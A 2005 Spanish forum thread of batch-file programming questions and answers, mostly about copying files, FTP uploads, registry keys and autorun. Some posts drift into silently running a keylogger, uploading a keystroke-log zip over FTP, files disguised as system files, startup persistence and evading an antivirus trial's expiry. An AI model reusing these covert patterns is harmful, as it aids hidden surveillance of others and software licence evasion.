El caso es que me gustario hacer un registro con el.bat, pero cogiendo el directorio donde se ha instalado el programa, diria que un %1 o una cosa asi. Si hago En el.bat "Directorio instalacion"="%1">>pep.reg No me sirve de nada Creo que tengo de hacer variables y ni pum, y lo ideal seria sin ayuda del usuario,es decir automatizado. Gracias. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Dark Shadow en 15 Marzo 2005, 06:09 am Podeis ayudarme a crear ese programa?
Lo he posteado en el siguiente post: http://foro.elhacker.net/index.php/topic,61883.0.html Grácias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soft en 20 Marzo 2005, 07:51 am una pregunta con un bat se puede crear un keylogger???
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 21 Marzo 2005, 18:26 pm No, pero se puede ejecutar un keylogger de forma silenciosa.
Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Listen to the dark en 21 Marzo 2005, 19:03 pm me encanto el tuto de este post,yo ando aprendiendo este ""lenguaje"" y no ando nada mal.... pero me surgen grandes problemas a la ora de poner en practica estos "programillas" o codigos por lotes,en las distintas versiones de windows....
para empezar si yo qiero qe un batch rule al inicio de windows tengo varias opciones: -insertar el codigo en el registro -insertar el codigo en >> c:\autoexec.bat -o mover el bat a la carpeta inicio como ven no ando perdido.... o si???? el caso es que ninguna de las tres formas soy capaz de llevarlas ala practica....jejeje. -mi primer problema es que no se generar un archivo de registro a traves de un bat que rule con windows... -el segundo problema es que en winxp el autoexec.bat queda desabilitado del inicio de windows,es decir no se ejecuta con windows..... -mi tercer y mas preocupante problema es que el siguiente codigo no rula: ----------------------------------- @echo off c: cd\ echo codigo>> c:\prueba.bat move c:\prueba.bat c:\"Documents and Settings"\"All Users"\"Menú Inicio"\"Programas"\"Inicio"\prueba.bat exit ----------------------------------- como ven es bien simple,y lo que intento es mover el archivo creado por el mismo bat al inicio..pero no lo mueve,no se porque.luego haciendo pruebas adverti qe si ponia esto: ----------------------------------- @echo off c: cd\ echo codigo>> c:\prueba.bat move c:\prueba.bat c:\"Documents and Settings"\"All Users"\Prueba.bat exit ------------------------------------ este si funcionaba....!!!! por que???? es decir,con el codigo batch no era capaz de "traspasar" la carpeta "MENU INICIO"... lo probe de mil maneras,con comillas,sin comillas,con mayusculas,sin ellas,con asteriscos,una combinacion tras otra sin resultados....... estaria muy agradecido si me pudieran ayudar.....gracias por vuestro tiempo.... Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Listen to the dark en 23 Marzo 2005, 19:09 pm Alguien sabria como hacerlo???
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: joss7 en 28 Marzo 2005, 01:01 am Muxas gracias,me a servido de muxo. ;D
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: gattoloco en 30 Marzo 2005, 12:17 pm Hola, Espero no molestar a nadie con mi inquietud... jejeje
Bueno, deseo eliminar un directorio con un bat.... facil ...creo mas o menos así: if exist (CARPETA) RMDIR (carpeta) Pero como dicen NO RULA ¨PARA NADA¨ Espero que alguno me pueda ayudar. PROMETEO Título: TUTORIAL PROGRAMACION BAT Publicado por: wilrey en 5 Abril 2005, 05:01 am Hola a todos, por favor alguien que me colabore.....
estoy empezando a programar en bat y necesito crear bat que me genere un log y backup cada vez que inserto un valor en una aplicacion tipo nomina. Espero me puedan ayudar Gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Natanael en 9 Abril 2005, 08:01 am Código: @echo off Código: @echo off Bueno... Quisiera saber como cambiar colores en bat lo vi 1 ves en un bat trial q me habia bajado pero lo perdi (al bat) ChauxX Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: acrego en 11 Abril 2005, 13:55 pm Buenas a todos, tengo un pequeño problema, tengo un bat y lo que quiero que me haga es que me copie un fichero en otro equipo.
Le tengo un: if not exist datos.txt copy datos.txt yo lo que consegui es que si no existe la primera vez me lo copie un sola vez, y quisiera que lo repitiera hasta que lo copie, que si hace falta lo repita 20 veces. un saludo a todos. ;D Título: Duda en bat Publicado por: rolas en 13 Abril 2005, 19:00 pm Tengo un archivo .bat en un servidor y cada ves que se inicia una sesion de usuario se ejecuta el .bat en esa maquina, nada mas lo tengo para que tome la hora del servidor.
Pero quiero poner el mismo fondo de pantalla a todos los usuarios. Alguien pude ayudarme, o informarme si se puede o no ??????? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 14 Abril 2005, 21:48 pm Hola
Eso no se corresponde con este hilo. Mira como funcionan los perfiles de usuario en Windows Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Alejandroa76 en 15 Abril 2005, 16:07 pm Hola, soy nuevo en el foro y queria consultar lo siguiente:
Tengo 3 maquinas en red y quería hacer un BAT que haga un ping a cada máquina para saber el estado de las mismas (encendido/apagado). Que me aconsejan? ¿como puedo hacer que el PING devuelva solo llegue o no llegue, en lugar de las 8 lineas de siempre? Gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 15 Abril 2005, 19:16 pm Hola
Código: @echo off Observa que la primera vez pongo ">test" para borrar el archivo 'test' y crear uno nuevo En los demás casos pongo ">>test" para escribir en ese archivo sin borrarlo El parámetro -n 1 de ping le indica que envíe un solo paquete y el resultado es enviado al archivo test Un saludo Título: duda con archivo BAT Publicado por: rolas en 18 Abril 2005, 19:08 pm Soplo perdón pero tal ves no me explique bien, lo que pasa es que tengo ese archivo bat en el servidor y todos mis usuarios tienen distinto fondo de pantalla y lo que quiero es ponerles a todos el mismo fondo de pantalla, pero para no irme de maquina en maquina quería saber si se puede ponerlo en este archivo bat y que cada ves que inicien sesión lo ponga ya que ellos pueden modificar este fondo.
Saludos y Gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 18 Abril 2005, 22:01 pm Hola
Los perfiles de usuario indican el protector de pantalla, el tema de windows, la carpeta de trabajo y la configuración del menú inicio. Cuando administras una red en vez de poner a todos igual creas un perfil y luego pones a los usuarios a usar ese perfil. De esta manera puedes hacer que vaya al ordenador que vaya, al identificarse contra el servidor vea siempre el mismo ordenador (esté donde esté), con sus trabajos en mis documentos y su menú inicio. El único problema es que los perfiles funcionan de manera distinta en win98 y win2k/xp por lo que si tienes redes mixtas deberás realizar los perfiles y averiguar que windows tiene el usuario antes de cargar su perfil. También puedes hacerlo desde un servidor Samba (tengo un par de redes con ello y funciona bien). Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Umbrella en 19 Abril 2005, 04:35 am Bueno muchachos realmente soy muy nuevo en estoy pero muy interesado alquien me podria agregar y enseñarme algo??? PLEASE?? mi correo es: soldados_comandos@hotmail.com
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: WarriorDC en 22 Abril 2005, 15:12 pm Hola Hola!!! :)
mi duda es la siguiente, eh creado un archivo bat que copia un archivo de una carpeta a otra, pero lo que quisiera es que me verifique los archivos que existen de un lado y de otro y solo me copie los archivos que no existen en la carpeta de destino, tambien cuando borro un arhivo archivo desde un comando quisiera que no me pregunte la confirmacion, Gracias.. ;D Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 24 Abril 2005, 14:41 pm Hola
Citar quisiera es que me verifique los archivos que existen de un lado y de otro y solo me copie los archivos que no existen en la carpeta de destino, Para ello mira la orden for (para comprobar todos) y luego la orden 'if exist'Citar cuando borro un arhivo archivo desde un comando quisiera que no me pregunte la confirmacion La forma de evitar que salga un mensaje es redirigiendo la salida (por ejemplo 'del archivo.txt >log' y la forma de hacer que acepte alguna respuesta (si no hay un parámetro para ello) es redirigir la entrada 'del archivo.txt <respuesta.txt' donde respuesta.txt es un archivo que contiene la respuesta que el comando va a solicitar.Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: josepbravo en 28 Abril 2005, 12:12 pm Hola buenas a todos Queria aprender a hacer una suma en un fichero de lotes .bat.. es posible? He mirado por internet y no he encontrado nada... Si es posible por favor indicarme un pequeño ejemplo, de una variable que sume por ejemplo 1 + 1.... : ) Título: Re: crear bat de envio de ficheros Publicado por: serchmon en 28 Abril 2005, 20:40 pm --------------------------------------------------------------------------------
hola soy nuevo en este foro. tengo un problema y espero que me ayudeis y si este no es el lugar de este mensaje, espero que el moderador lo ponga en el lugar correo. El problema es el siguiente, quiero crear un bat para que envie un fichero a traves de mail y todo en msdos o algo parecido. El problema es que tengo una tienda y me han cambiado el router de la adsl y desde la oficina no me puedo conectar. El asunto es el siguiente, es conseguir que me envie la ip publica que se le asigne cada vez que se inicie el ordenador. Ya se que sino se apaga el router no cambia pero tengo problemas para saber la ip. Entonces por ejemplo en www.adsl4ever.com me informa de la ip, quiero intentar conseguirla de alguna manera, copiarla en un fichero y enviarlo por mail. Gracias por todo. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: juver en 29 Abril 2005, 17:56 pm HOLA
mi duda es si puedo hacer un bat, para que cambie la fecha del registro para hacer que no caduque mi antivirus, o como lo hago, automatizado.. gracias de ante mano ;) Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: chulo en 30 Abril 2005, 01:41 am :-[
men soplo nesecito un favor nesecito enviar un archivo zip a un ftp server usando un bat reviso en D.O.S y me funca pero al ingresar la informacion en el .bat se para en usuario y no continua poniendolo ejemplo: ::) echo off rar u C:\Docume~1\Alluse~1\Escrit~1\respaldo-keystrok.zip ftp 192.168.0.1 usuario contraseña send C:\Docume~1\Alluse~1\Escrit~1\respaldo-keystrok.zip quit echo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: mangeles3d en 3 Mayo 2005, 00:28 am Como puedo hacer para iniciar una sesion TELNET y conectarme a mi servidor de correos y mandar un correo???
alguna sugerencia..? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: TaN€R en 3 Mayo 2005, 02:16 am Situate sobre el link que pongo, dale al botón drcho del ratón, guardar como..y si tienes mozilla savelink as..
http://www.forohxc.com/Docs/Seguridad/Reyes/Seguridad_Practica07.pdf Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: @p@nick@ en 3 Mayo 2005, 15:22 pm Hola buenas a todos Queria aprender a hacer una suma en un fichero de lotes .bat.. es posible? He mirado por internet y no he encontrado nada... Si es posible por favor indicarme un pequeño ejemplo, de una variable que sume por ejemplo 1 + 1.... : ) http://foro.elhacker.net/index.php/topic,68937.0.html Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: rpp en 3 Mayo 2005, 18:18 pm hola, soy nuevo dentro del foro aunque ya lo habia visistado muchas veces con invitado, el problema que tengo es que necesito enviar un archivo a un servidor ftp, pero me gustaria saber como hacerle para que tome el nombre del usuario y contraseña automaticamente sin que tenga que darsela....
este es el codigo que tengo, pero hasta ahi llegue @echo off rem Inicia sesion en el servidor FTP ftp 125.128.1.256 user password pause Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: rpp en 4 Mayo 2005, 16:49 pm Caballeros ya encontre la solucion para mi problema pero la comparto con ustedes por si le sirve a laguien.
@echo off rem Inicia sesion en el servidor FTP ftp -s:Coman.txt 124.102.23.5 en la ultima linea estoy indicando con el -s:Coman.txt el nombre del archivo donde se encuentran guardados los comandos que va a ejecutar el ftp seguido de la direccion ip a la que me voy a conectar; dentro del archivo Coman.txt tengo el nombre del usuario, la contraseña y los comandos que se van a ejecutar: Ejemplo: Marco 12345 binary hash bye Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: lord_Kreator en 12 Mayo 2005, 06:34 am Saludos..
tengo el siguiente codigo en un archivo por lotes: @echo off echo USER Admin > c:\win32k.txt echo 1234 >> c:\win32k.txt echo send c:\win32k.txt ftp -n -s:c:\win32k.dll ftp.host.com Lo q hace este codigo es loguearme a mi servidor ftp, pero, siempre existe este bendito "pero",el problema q tengo es q cuando creo el archivo win32k.txt al USER Admin y al 1234 le agrega un espacio al final, y por ese espacio es mi bendito problema, ya q lo probe eliminado ese espacio y funciona ok. como hago para eliminar ese espacio al momento de ejecutarse el bat, porq lo q quiero esq el usuario solamente ejecute ese bat y se loguee. Por favor alguna ayudita Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 12 Mayo 2005, 18:25 pm Hola
Tu problema no es un espacio. En msdos a cada línea de un proceso bat se le añade el retorno de carro y salto de línea que se corresponden al código ascii 10 y luego el 13. Esto ocurre cada vez que pulsas enter. Yo tuve un problema semejante (pero en una shell script en linux) y allí se inserta solo el salto de línea (código 10). El caso es que no fuí capaz de solucionarlo. Título: [MOD] bat autorun unidades Publicado por: compuman en 17 Mayo 2005, 17:50 pm Hola a todos, quiero saber si alguien me puede ayudar a crear aun bat, para insertarlo en un cd, y con un autorun ejecutarlo, lo que necesito es que ese bat copie la carpeta que viene en el cd con todas las subcarpetas y archivos que tiene, y si de una vez se puede, como le hago para que el bat cheque cual es la unidad de cd que se esta utilizando? por que hay en algunas maquinas que suele ser unidad D: y en otras E: seria de gran ayudaaaaaaaa.
Gracias..... :o Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: el-brujo en 17 Mayo 2005, 18:43 pm ¿ayudar o que te lo haga directamente?
Creo que hay suficiente documentación como para hacerlo tu mismo: TUTORIAL PROGRAMACION BAT http://foro.elhacker.net/index.php/topic,18148.0 alguien sabe hacer archivos .bat? http://foro.elhacker.net/index.php/topic,17109.0 Alguien puede ayudarme con los .bat http://foro.elhacker.net/index.php/topic,13792.0 Creación de archivos *.bat. Win2k. http://foro.elhacker.net/index.php/topic,2531.0 alguien kien sepa virus.bat http://foro.elhacker.net/index.php/topic,9790.0 Crear un autorun para CD http://foro.elhacker.net/index.php/topic,12188.0.html Boot cd Windows XP http://foro.elhacker.net/index.php/topic,21166.0.html 'Programacion' de un "autorun"? http://foro.elhacker.net/index.php/topic,37927.0.html crear un autorun para server http://foro.elhacker.net/index.php/topic,22601.0.html autoruns...i programa para fotos! please! http://foro.elhacker.net/index.php/topic,16458.0.html cd autoejecutable http://foro.elhacker.net/index.php/topic,32496.0.html Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: compuman en 18 Mayo 2005, 21:40 pm Gracias por la ayuda, ya tengo el auto run, lo unico que pasa es que utilizo el comando xcopy y no hace nada, se cierra automaticamente la ventana del DOS. como les explicaba en el mensaje anterior quiero que al meter el cd en la compu el autorun ejecute al bat(el autorun ya lo hize)y que en el bat este la orede de copiar las carpetas que tiene el CD a una direccion esprecifica en C:, ya utilize el comando copy, y el xcopy pero no hace nada, lo probe con la unidad A: y si funciona que estara pasando?????, si alguein me puede orientar se lo agradeceria, y si pueden postear algo relacionado a esto mejor...... (si no es mucha molestia, me gustaria que postearan un ejemplo de lo que pido graciasss!!!!!!!!
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: compuman en 30 Mayo 2005, 21:22 pm Hola a todos, espero me puedan ayudar, ya hice lo que pedia anteriomente, ahora lo que pasa y mi duda es que cuando le doy por ejemplo : Xcopy d: c: /s/e etc.etc. me refiero a esto que cuendo estoy en la unidad d: me va a dar ese comando ok??? quiero saber en la programacion, como se le hace para que solito busque la unidad del cd rom que tiene asignada la maquina, por que en algunos casos es la letra d: y en otros es alguna diferente ok??? lo que pasa es que lo pregunto por que cuando se ejecute mi .bat yo lo puse asi, y si la unidad de cd en la maquina en la que ponga el cd es otra me va a hacer la misma accion????? osea copiar los archivos que estan en el cd????, por eso quiero saber si hay algun comodin para ponerlo o como le hago!!!?????????? ;D
Gracias por la ayuda....... 8) Título: Duda Publicado por: luisbg en 2 Junio 2005, 22:07 pm Hola Mi pregunta es la siguiente:
Yo quiero ejecutar un programa que te pide que ingreses algo por pantalla, y quiero automatizarlo y que lo meta el solo como lo haria? mi problema es que una vez ejecuto el programa, no se siguen ejecutando las demas lineas de codigo, me gustaria saber si es posible hacer esto. Gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 3 Junio 2005, 12:04 pm hola
Pues tienes que cambiar el dispositivo de entrada por defecto. Normalmente es el teclado, pero tu puedes decirle que lea de un fichero Para ello haces: APLICACION menor_que FICHERO.TXT lo de menor_que corresponde a la tecla del teclado. Es que me acabo de dar cuenta que no me funciona. Un salludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: luisbg en 3 Junio 2005, 13:03 pm Muchas gracias SOPLO, pero cuando pones fichero .txt tendria que estar en el directorio donde ejecuto la aplicacion no? es que si pongo la ruta no me la acepta :(, igual que cuando quiero ejecutar la aplicacion y pongo la ruta directamente no me la acepta :( sabrias como?
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 3 Junio 2005, 14:19 pm Hola
En principio no debe haber ningún problema por poner trayectorias tant oen el ejecutable como en el fichero de entrada. Comprendo que pueda haber algún problema en el ejecutable (no por que lo ejecutes sino porque necesite algún archivo que no tenga disponible por ejecutarlo en otra ubicación, sin embargo no debería pasar en absoluto en el fichero de entrada puesto que solo debe acceder a él para leerlo. Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Güan en 7 Junio 2005, 22:23 pm Y como se pueden borrar valores de una klave del registro?
Gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: jvchino en 8 Junio 2005, 07:57 am Borrar claves y valores
Podemos usar REG.EXE para borrar claves y valores. La sintaxis es: Código: reg delete [\\equipo\]clave [{/v valor | /ve | /va}] [/f] Parámetros
Saludos. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 8 Junio 2005, 20:19 pm Vaya vaya vaya
¿Quién dice que aquí no se aprende? ¡Pues quien lo diga que venga a elhacker y lea! Gracias jvchino ;D ¿Has pensado la cantidad de posibilidades que abre esto? Un saludo Título: TUTORIAL PROGRAMACION BAT Publicado por: wago20 en 12 Junio 2005, 06:49 am buenas... apenas estoy practicando este tipo de programacion en realidad solo he hecho 2 programas. pero tengo el siguiente problema. y es que los programas que hice en el editor de texto de dos no corren en Win Xp. o bueno no se uqe es lo que pasa realmente con eso. si alguien pudiera ayudarme se lo agradeceria
nos vemos.. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 13 Junio 2005, 16:01 pm No debes tener ningún problema, corren como deben.
Lo que puede pasar es que no te llegues a dar cuenta. En vez de Inicio - ejecutar - aplicación haz inicio - ejecutar - cmd y allí ejecutas tu aplicación a ver que tal Un saludo Título: PROBLEMA Publicado por: wago20 en 13 Junio 2005, 18:32 pm QUE MAS SOPLO. VEA AHORA TENGO EL SIGUIENTE PROBLEMA QUE NO ME HABIA SALIDO ANTES. PRIMERO FUE EL PROBLEMA ANTERIOR.
PERO AHORA ME SALE QUE LA FUNCION CHOISE NO SE RECONOCE COMO UN COMANDO INTERNO O EXTERNO... VEA ESTA ES LA PRUEBA QUE ESTOY HACIENDO.... echo off echo "hola echo "elija opcion choice 123 main: if errorlevel 1 goto uno if errorlevel 2 goto dos if errorlevel 3 goto tres uno: format a: goto main dos: cd c:\ md winston goto main tres: goto fin fin: nos e si es que estoy haciendo algo mal o que... si me puede ayudar le agradeceria.. pues apenas estoy empezado con esta programacion y esos errores que pueden ser tontos no me dejan avanzar. nos hablamos. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: rpp en 13 Junio 2005, 20:34 pm Necesito enviar un correo electronico mediante un bat, si alguien puede darme una idea porfavor de cual seria el procedimiento a seguir se lo agradeceria muchisisisimo....
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: dominik en 14 Junio 2005, 07:51 am les tiro data de bat
http://www.batchfiles.co.nr/ http://home7.inet.tele.dk/batfiles/ http://www.batch.hpg.ig.com.br/index.htm http://www.computerhope.com/batch.htm http://www.simtel.net/pub/msdos/batchutl/ http://members.cox.net/dos/batch01.htm#date http://www.robvanderwoude.com/index.html http://www.bookcase.com/library/software/msdos.util.batch.html saludos Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: darKPoison en 14 Junio 2005, 11:52 am Hola, un saludo a todos tengo un pequeño problema y es que las carpetas que incluyen espacios en su nombre me dificultan cuando voy a establecer rutas Ej: "c:\documents and settings\all users\menú inicio.."
he probado con comillas, con ~1 y de qualquier modo no funciona ,tengo instalado XPSP2,tendrá algo que ver el sistema operativo?,no creo, pero de igual modo hay varios comandos que no me funcionan Ej:"Choice", y a propósito estoy creando un batch que asigna letras de unidad a carpetas, o sea crea una unidad virtual de disco duro , pero quisiera tambien que la ocultara una vez que la creó ,a ver si me explico "doble click la muestra ,doble click la oculta pero como el comando CHOICE no me funciona no puedo saber si está mal o bien, no importa ,igual se los mando para que lo utilicen y lo modifiquen a su gusto, Echo Choice elige una opcion mo if errorlevel1 goto mostrar if errorlevel2 goto ocultar mostrar subst U: C:\carpeta ocultar subst h: /d ;) Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: saok en 16 Junio 2005, 16:30 pm ola me gustaria saber como crear un bat k m indike si hay algun virus en el sistema si es posible,si alguien sabe el codigo?????'' k lo ponga plisss.
gracias. tambien puede postearlo en: http://foro.elhacker.net/index.php/topic,74832.0.html Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 16 Junio 2005, 23:28 pm Hola
Citar hay varios comandos que no me funcionan Ej:"Choice", Pues tienes razón. He probado y no hay comando 'choice'. Lo ha retirado microsoft.Citar las carpetas que incluyen espacios en su nombre me dificultan cuando voy a establecer rutas Ej: "c:\documents and settings\all users\menú inicio.." Si que funcionan. He probado con xpsp2 dir c:\docume~1 y dir "c:\Document % Settings" y ambas han funcionado.he probado con comillas, con ~1 y de qualquier modo no funciona Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: bigsnake en 19 Junio 2005, 16:11 pm a mi tmpoco me va ni con comillas o es k kisa las pongo mal.....
bueno mi pregunta es: si una carpeta como la dl emule esta en uso por el emule mismo se podria cambiar a oculto? en caso d k se pudiera,despues si esta configurado para cargar al inicio y la carpeta esta oculta la puede abrir o da error?? gracias!!! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Güan en 29 Junio 2005, 11:44 am ola me gustaria saber como crear un bat k m indike si hay algun virus en el sistema si es posible,si alguien sabe el codigo?????'' k lo ponga plisss. gracias. Aver, lo que quieres hacer se llama ANTIVIRUS, y en el mercado están por unos 40 euros (mejor bajarselos crackados, claro), así que dudo mucho que se pudieran con cuatro líneas de el bloc de notas. Lo que puedes hacer es decirle a uno que ya esté instalado que se ejecute. tambien puede postearlo en: http://foro.elhacker.net/index.php/topic,74832.0.html Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: NERO2 en 17 Julio 2005, 08:47 am Hola a todos, he leido todas las paginas de este tema que ademas es muy bacano y he aprendido muchas cositas, pero mi pregunta es la siguiente, se que ya la habian hecho pero no he visto respuesta alguna a esa, ahi les va: la idea es que quiero crear un .bat que me copie un archivo de un equipo a otro, probe con las siguientes lineas pero no me funciono: copy \\equipo1\archivo.txt \\equipo2\ les agrdezco me colaboren con esta informacion, lo que pasa es que es un proceso que me toca hacer este proceso cada 2 horas y creo que un .bat ahorraria tiempo.
Salud2s y gracias por la colaboracion. Nota: Que buen manual Soplo ;) Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 19 Julio 2005, 11:31 am Hola
La ruta que pones es incompleta COPY \\EQUIPO1\C\ARCHIVO1 \\EQUIPO2\C\ Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: CYRANO73 en 20 Julio 2005, 17:18 pm como puedo verificar el cumplimiento de una sentencia "copy" completa.
tengo: --------------------------------- c: cd \ cd Archivos de programa\Sistemas Informat\Temporal k: cd \ cd k:\Act. 23- ERP 2005-06-22 copy *.* c: /y if errorlevel 0 goto copia1 goto error ----------------------------------- lo cual esta correcto hasta posecionarme en la carpeta indicada, el copy lo realiza pero la verificacion del "if errorlevel" no la realiza ya que copie o no copie pasa por "goto error" como puedo hacer para que si copia ir a un label determinado y si no copia a otro. por su ayuda gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: NERO2 en 25 Julio 2005, 05:56 am Soplo, gracias por atender la solicitud, lo hice asi como lo escribiste
pero no lo hace, lo escribi normalmente en Prompt y el error que me sale es: "No se ha encontrado la ruta de acceso de la red", en vez del nombre del equipo le escribo la IP para descartar que sea problemas al resolver los nombres, pero me sigue saliendo el mismo error, sera que tengo que darle el nombre del servidor de dominio o algo por estilo, lo estaba escribiendo de esta forma: copy \\ip1\c\carpeta1\carpeta2\archivo.txt \\la misma ip\c\carpeta1\carpeta2\archivo.txt escribo la misma ip porque es al mismo equipo al que quiero pasar el archivo. mejor dicho lo que quiero hacer es ejecutar el .bat desde mi equipo y que los cambios se vean reflejados en el servidor, o ejecutarlo desde cualquier equipo y que el copy lo haga en el servidor. es posible hacer eso, y de ser posible me puedes ayudar. Mil gracias. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: vicentebenitez en 10 Agosto 2005, 14:10 pm Gente hermosa, como estan, recien empiezo en esto, aver si me pueden ayudar
Necesito un bat que haga lo siguiente ::) -que me baje de una pagina de internet un archivo zip tipo: www.myweb.com/archivo.zip -que me lo descomprima y me crea la carpeta c:/archivodescomp -y que me ejecute la un .exe que esta en una direcciion tipo: c:/miarchivo.exe gracias gente Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: von Newman en 11 Agosto 2005, 12:27 pm @echo off
start www.myweb.com/archivo.zip.htm (si tienes configurado algun acel d descargas o el mismo programa de descargas para que los deje en C:\) cd cd\"carpeta"\archivo.zip prompt C:\"carpeta"$g C:\"carpeta">BACKUP -s A: echo. echo Por favor inserte un diskette pause cls A:\ ren A:\archivo.zip C:\"carpeta"\archivo2.exe cls cd cd:\ start C:\"carpeta"\archivo2.exe end *------------------------------------------------* como nunca habia escuchado o visto algo acerca de como descomprimir .zip desde un bat pues nose, lo más seguro es que el bat llegara hasta aqui (más abajo) y despues tu tendrias que abrirlo pero nose pruebalo ok? *----------------------------------------------------* @echo off start www.myweb.com/archivo.zip.htm (si tienes configurado algun acel d descargas o el mismo programa de descargas para que los deje en C:\) cd cd\"carpeta"\archivo.zip start C:\"carpeta"\archivo.zip *---------------------------------------------------------* y hasta aqui con el raton pero no se pruebalo saludos Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 11 Agosto 2005, 14:09 pm Hola
Citar como puedo verificar el cumplimiento de una sentencia "copy" completa Efectivamente, que yo recuerde copy no devuelve valor de errorlevel.Se supone que has copiado en c:\carpeta el fichero "fich1.txt" y quieres comprobar si fue copiado: Código: if not exist c:\carpeta\fich1.txt goto mal Citar Soplo, gracias por atender la solicitud, lo hice asi como lo escribiste Claro, si tienes un dominio tienes que agregar el parámetro /domain:dominio. Para eso está un dominio. Para que no puedan escribir los que no forman parte de ese dominio.pero no lo hace, lo escribi normalmente en Prompt y el error que me sale es: "No se ha encontrado la ruta de acceso de la red", en vez del nombre del equipo le escribo la IP para descartar que sea problemas al resolver los nombres, pero me sigue saliendo el mismo error, En este caso primero te tienes que conectar al dominio y luego copiar. Yo escribí algo sobre eso hará como un año. Mira aquí Comandos NET principaleshttp://foro.elhacker.net/index.php/topic,33369.0.html Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: von Newman en 12 Agosto 2005, 07:42 am disculpa si te corrigo soplo pero estas mal en esto:
Citar if no exist c:\carpeta\fich1.txt goto mal deberia ser con t: not de esa forma si le validara el comando, quiza te comiste la letra suele sucedersaludotes!!!! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: jvchino en 12 Agosto 2005, 08:12 am Para descomprimir un zip desde un bat, puedes usar el prehistórico pkunzip que funciona en entorno DOS (al igual que el bat), yo lo uso.
SUERTE. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: von Newman en 14 Agosto 2005, 07:58 am orale gracias si no es mucho pedir puedes poner un link?
gracias saludos Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: jvchino en 14 Agosto 2005, 08:28 am Citar si no es mucho pedir puedes poner un link? No sé si el mensaje era para mí, pero aqui dejo el pkzip y el pkunzip (el primero para comprimir y el segundo para descomprimir), para usarlos en DOS. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: von Newman en 15 Agosto 2005, 02:22 am si era a ti jvchino muchas gracias con esto ya sera más facil esperen el bat.
saludotes!! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: jariasm79 en 23 Agosto 2005, 18:56 pm Saludos, neceisto saber como en un direcotio cualquiera que contenga por ejemplo 10 archivos de texto pueda hacer un bat que edite los archivos les borre el contenido y les agrege un X y despues les cambie la extensión... en windos
Muchas Gracias mi email dariasm@gmail.com Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: yermain en 26 Agosto 2005, 15:22 pm Saludos, descubrí un detalle importante que tal vez les pueda interesar:
Si ustedes tienen un archivo oculto que está dentro de una carpeta también oculta, aunque se entre a la carpeta el archivo no se puede copiar a otro lado ya que dice que no se encuentra, aunque al darle el comando DIR sí la liste. Tampoco se puede cambiar el atributo del archivo desde ahí para que deje de estar oculto, la solución es cambiarle el atributo a la carpeta entera para que deje de estar oculta y así poder copiar el archivo (que ya no está oculto) fuera de ella. :) Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: panaka en 26 Agosto 2005, 19:49 pm Hola haber estoy intentando aprender a programar bat.
Mi duda es la siguiente se supone que si yo pongo en el bloc de notas: copy wer.txt c:/ y luego lo guerdo como .bat se supone que si yo ejucuto el bat se tendria que copiar el wer.txt a el directorio c:/ pero no ocurre esto en que me ekivoco Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: jvchino en 26 Agosto 2005, 20:34 pm Lo primero: Asegúrate que el archivo "wer.txt" esté en la misma carpeta que el archivo bat.
